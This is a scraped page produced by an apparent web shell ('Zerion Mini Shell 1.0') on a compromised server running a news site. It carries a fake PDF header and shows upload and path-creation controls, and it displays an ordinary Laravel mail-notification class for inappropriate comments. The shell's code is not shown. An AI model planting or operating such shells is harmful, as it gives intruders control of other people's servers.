%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Notifications/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Notifications/SendMailForInappropriateComment.php

<?php

namespace App\Notifications;

use App\Models\Article;
use App\Models\User;
use Illuminate\Bus\Queueable;
use Illuminate\Notifications\Notification;
use App\Models\Notification as MailNotification;
use Illuminate\Notifications\Messages\MailMessage;

class SendMailForInappropriateComment extends Notification
{
    use Queueable;
    /**
     * @var User
     */
    private $user;
    /**
     * @var MailNotification
     */
    private $notification;
    /**
     * @var Article
     */
    private $article;

    /**
     * Create a new notification instance.
     *
     * @param User $user
     * @param MailNotification $notification
     * @param Article $article
     */
    public function __construct(User $user, MailNotification $notification, Article $article)
    {
        //
        $this->user = $user;
        $this->notification = $notification;
        $this->article = $article;
    }

    /**
     * Get the notification's delivery channels.
     *
     * @param  mixed $notifiable
     * @return array
     */
    public function via($notifiable)
    {
        return ['mail'];
    }

    /**
     * Get the mail representation of the notification.
     *
     * @param  mixed $notifiable
     * @return \Illuminate\Notifications\Messages\MailMessage
     */
    public function toMail($notifiable)
    {
        return (new MailMessage)->subject($this->notification->subject)
            ->greeting($this->notification->greeting . $this->user->present()->fullName)
            ->line(str_replace(':article_title', $this->article->title, $this->notification->body))
            ->line($this->notification->thank_you);
    }

    /**
     * Get the array representation of the notification.
     *
     * @param  mixed $notifiable
     * @return array
     */
    public function toArray($notifiable)
    {
        return [
            //
        ];
    }
}

Zerion Mini Shell 1.0